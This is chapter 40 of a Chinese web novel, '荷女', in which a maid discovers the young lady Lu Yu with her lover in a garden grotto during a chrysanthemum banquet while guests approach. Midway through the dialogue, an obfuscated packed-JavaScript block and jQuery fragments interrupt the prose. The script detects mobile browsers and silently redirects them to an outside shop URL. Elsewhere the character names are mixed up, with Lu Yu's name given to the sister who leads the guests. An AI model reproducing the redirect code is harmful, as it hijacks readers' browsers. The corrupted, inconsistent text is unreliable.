40.藏春

作品:《荷女

    陆府花园,假山之下,藏春坞洞儿内。


    陆瑜正与文玉郎两个搂抱作一处,吻得忘乎所以。那彩云守在假山洞门口观风,由他二人在山洞里你侬我侬,亲嘴咂舌。


    不防荷女同扇儿两个突然从假山后转出来,吓了一惊不小。


    “你…你们怎么来了?”彩云面带慌乱,立时慌了手脚。


    荷女不回应她,见洞门紧闭,里头传来一阵衣衫响,立时上前去推了推门,就要进去。


    彩云慌乱挡在她身前,伸手拦阻:“你干什么?不准进去!”


    荷女眼神冰冷的看着她:“再不让开,信不信我直接告到太太和公子爷面前,到时你知道你会是什么后果!”


    彩云登时吓住了,荷女趁她愣神之际,忙伸手将她拨开,推开门,就快步走了进去。


    只见藏春坞洞儿内,陆瑜和文玉郎正同躺在石榻上,陆瑜衣衫半褪,云鬓散乱,那文玉郎亦是衣衫不整,彼此气喘吁吁的,不防此时荷女突然从外走来,二人都吓了一跳,立时从意乱情迷中苏醒过来,两个慌做一团,连忙穿衣不迭。


    且说陆珏同谢华缨借着赏花的由头一同出了花厅,漫步到了园子里。


    一对年轻男女并肩走在一起,说是赏花,但内里的意思,大家都心知肚明。


    年轻小姐们纷纷拿眼观觑,目光在陆珏和谢华缨身上来回流转,眼神里有羡慕,也有嫉妒,只恨自己容貌不够,要么就是家世不够,才没被陆家看中,不然若能嫁与陆珏这样既有家世又有容貌,还凭着真本事身居高位的男子做官夫人,婚后不知该有多风光!


    谢华缨与陆珏并肩走着,感受到一路上投来的艳羡眼神,不由虚荣心大涨。


    像陆珏这样年纪轻轻就做了三品大官,深得皇帝信任,手握重兵的,放眼整个朝廷,一只手都能数得过来。更别说陆家是历经千年的显赫家族,家里的资财数也数不尽,且最难得的是他还生得相貌堂堂,一表人才,这样集容貌、财势,权贵于一身的年轻男子,不知有多少世家贵族都惦记着想把闺女嫁给他。


    他这样好条件的,便是皇亲国戚,公主郡主也能娶得,她能被蒋氏和陆家老太太看上,属实是极好的运气了。


    不过她也不差,父亲是当朝工部尚书,哥哥是上一届的新科状元郎,她们谢家虽比不上陆家的门户,可也是江南地带排得上名号的名门望族。比她出身高的没她容貌好,比她容貌好的没她出身高,像她这种家世高贵,还同时兼有不凡美貌的贵女,也是极难找的。


    她…也还算配得上他罢?


    谢华缨在心里默默给自己打气,这样一想,不禁微微抬了头颅,自觉更有底气与他并肩站在一起了。


    今日举办菊花宴,蒋氏特地让下人把府中珍藏和搜罗的那些珍稀名菊,尽数搬了出来,或列于花园的游廊两侧、石子小径的边沿,或列于假山石畔、或置于亭台水榭。宾客在花园中漫步赏菊时,一路花香随行,移步换景,极有趣味。


    谢华缨同陆珏漫步到一处菊屏旁,只见这菊屏是专门辟出的一片空地,然后将各色菊花按花色、高矮排列,形成一道花墙。此时满墙菊花盛开,黄的如金,白的似玉,红的若霞,粉的如桃,姹紫嫣红,煞是好看。


    谢华缨指了指面前一盆粉白交错的菊花,主动找话题道:“陆郎君,这是什么品种的菊花?”


    陆珏顺着她手指的方向望过去,替她讲解道:“这是胭脂点雪。”


    谢华缨又指了一盆大团大团的,如泼墨一般的菊花,问:“那这个呢?”


    陆珏不假思索:“这是墨荷。”


    “那个呢,花色纯白皎洁的?”


    陆珏面色淡淡,答曰:“月下白。”


    谢华缨紧接着又指了几个,陆珏微微蹙眉,却都一一答了。眼见她又要出声问另一盆菊花的名字,他先一步截住话头:“走罢,我带你去别处转转。”


    谢华缨戛然止住话头,不免多思,暗想是否自己一直问他惹他厌烦了,于是讪讪跟了上去,一路小心揣度,再不敢轻易开口,生怕在他心里留下不好的印象。


    二人不知不觉漫步到一片菊圃处,此时陆瑶、陆琼,陆琬三姐妹正陪着七八个前来赴宴的贵女们赏花说笑,见他们来,忙上前见礼。


    “大哥哥好,华缨姐姐好。”


    陆琼笑着福身同他们问好,紧接着陆瑶和陆琬及另外几个贵女也都转过身来道了万福,都互相见过礼后,众人便一道在花圃前欣赏一大片盛放的秋菊。


    这时陆瑶的心腹丫鬟秀橘突然跑过来,朝她使了个眼色,陆瑶便默默停住了脚步,故意落在众人后头。那秀橘悄悄走至陆瑶身边,在她耳边附耳低语了几句。


    陆瑶登时脸上一怔,旋即唇边露出个冷笑来。


    这厢,谢华缨见花圃内菊花开得正好,那一株株、一丛丛,都攒蕊吐芳,粉白黛绿,错杂其间,极为绚烂夺目,便微笑着赞叹道:“贵府这场菊花宴,办得可真是绝妙,竟一下能搜罗到这么多品种的名贵佳菊,我往日从未见过这等排场,今日一赏,真个大饱眼福,不虚此行了。”


    陆琼面带微笑,正要开口回应,却见陆瑶走上前来,抢话道:“缨姐姐,不止这里呢。这菊花啊,最宜与怪石相配,前头有太湖石堆叠的假山,假山上还有悬崖菊呢。这悬崖菊是效仿山崖上自然悬挂的野生菊花,花枝倒垂如悬崖垂瀑,花朵丰满,花色多样,瞧着别有一番天然野趣呢!”


    谢华缨含笑道:“据说这悬崖菊极难培育,没想到府中竟也有。”


    陆瑶道:“自然。这是我嫡母特地请了“艺菊名家”来栽培的,有许多品种呢,像是“一捧雪”、“金满天星”、紫芒托贵“,各色皆有,长在那假山奇石上,宛如五彩瀑布一样倾泻而下,煞是好看。”她眼珠微转,笑说道:“不如我领诸位一同前去观赏如何?”


    谢华缨转头看向陆珏,似是在征求他的意见。


    陆珏淡淡看了她一眼,用富有磁性的声音道:“走罢。今日原也是为了赏花。”


    说罢,负手走在前头。其他贵女们也被陆瑶说得想见识见识,便一道跟了上去。


    且说回藏春坞洞儿内,陆瑜和文玉郎幽会被荷女撞见,两个吃了一惊,慌的连忙起来,忙不迭各整衣襟。


    荷女猛见他两个在石榻上相搂相抱,俨然是正准备行那事,当下瞠目结舌,震惊得无以复加:“你们两个好胆大,竟青天白日在这里干这营生!”


    陆瑜胡乱穿好衣裳,赶忙从石榻上下来,慌的上前拉住荷女的双手,央求道:“好姐姐,求你不要告诉大哥哥,我…我……”说着,脸上已是羞臊不已,只觉没脸再说。


    荷女痛心道:“三姑娘你好生糊涂,何以做出这种私通之事来?你难道不要名声了?”


    此时文玉郎也穿好了衣裳,忙上前央告:“这位姐姐不要恼,我与瑜儿是真心相爱的,我们……”


    话未说完,就被荷女打断:“你住嘴!”


    荷女皱紧眉头,质问他:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895618|184923||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你若真心爱她,何至于做出这种令她婚前失贞之事!再者,今日府里在举办菊花宴,园子里到处都有来往的宾客,你却还敢私自偷溜进府,拉着我们家三姑娘在这山洞里做这勾当!你可曾想过,万一事发,这对三姑娘来说意味着什么?”


    陆瑜连忙护在文玉郎身前,急道:“荷女,你别这么说玉郎,这一切都是我自愿的,不碍着他什么事!”


    荷女心情复杂的看着她,简直不知用什么来形容此刻的心情。陆瑜为人单纯善良,极易受骗,文玉郎不知怎么迷惑了她,竟使她将大家闺秀的礼仪和廉耻全都抛去不顾了,做出这种大胆的事来,还一心护着他,当真是猪油蒙了心了。


    荷女心知现在劝她无用,于是忙将她拉过来,叹气道:“现在不是说这个的时候,有什么事咱们等回去后再细说,姑娘当务之急是赶紧跟我离开这里!不然被外人撞见,可就完了!”


    说着,又扭头望向文玉郎,拧眉道:“你还不快走!”


    “哦,哦……”文玉郎反应过来,忙移步出去,不料刚走至洞口打开一条小缝,就又赶忙闭紧,突然调转脚步返回来,低声道:“不好,我看见有一群人朝假山这边走来了!”


    话音刚落,就听见外头忽然响起陆瑶的声音:“彩云?扇儿?你们两个站在藏春坞洞门口做什么?”


    山洞外,彩云和扇儿瞧见来人,当即脸色大变,忙低下头行礼:“给大公子和…和诸位小姐请安。”


    陆珏负手而立,在他身后,是陆家三姐妹及方才那七八位女客。众人一路从菊圃漫步过来观看悬崖菊,刚从假山后转出来,就瞧见两个小丫鬟立在假山洞门口,不觉纳闷。


    待上前问话,只见那两个丫鬟慌慌张张的,只低下头行礼,却并不正面回话。


    “问你们话呢?怎么不回答?”陆瑜走上前道,“你们在这做什么?三妹妹人呢?”


    “三姑娘她…她……”扇儿内心慌乱极了,回答不出来,便扭头瞥了一眼彩云,不想彩云比她还慌,吓得侧脸上一滴冷汗流了下来。


    陆珏察觉有异,不由皱了眉头。


    一旁的陆瑜故作疑惑,“三妹妹怎么了?难不成她在洞里头?”她转过头,似笑非笑同众女客说道,“我们家三妹妹平日里最是孩子气,兴许是见我们来,故意躲在山洞里同我们躲猫猫呢,等我进去瞧瞧是不是这么一回事。”


    说罢,便立即走上前去,笑眯眯吩咐扇儿和彩云:“你们两个,还不快把洞门打开!”


    “这……”扇儿急忙挡在陆瑜身前拦阻,脸色怪异,“二姑娘...我们三姑娘不在这……”


    陆瑜盯着两个丫鬟,脸上笑意倏然敛尽,背向众人那面,她眉梢眼角陡生寒厉,语气却依旧温软平和:“定是三妹妹让你们这么说的对不对?三妹妹真调皮,那我倒非得进去瞧瞧不可了。”


    说罢,竟不顾拦阻,直接将人拨开,就要将洞门推开。


    正此时,洞门却突然从里头打开了,众女客定睛一看,只见从洞里面走出来一个身穿青衫白裙,模样仙姿玉貌的少女。


    “荷女?你怎的在这?”陆瑜一愣,旋即皱着眉,探头朝门缝里张望。


    荷女手向后,不动声色带上门,朝众人屈膝行了个礼:“奴婢给公子爷、诸位小姐们请安。”


    陆珏微微一怔,不禁浓眉皱起:“你不在凌云堂好好待着,跑出来做什么?”


    听到凌云堂三个字,谢华缨不由一愣,忍不住问道:“这位是?”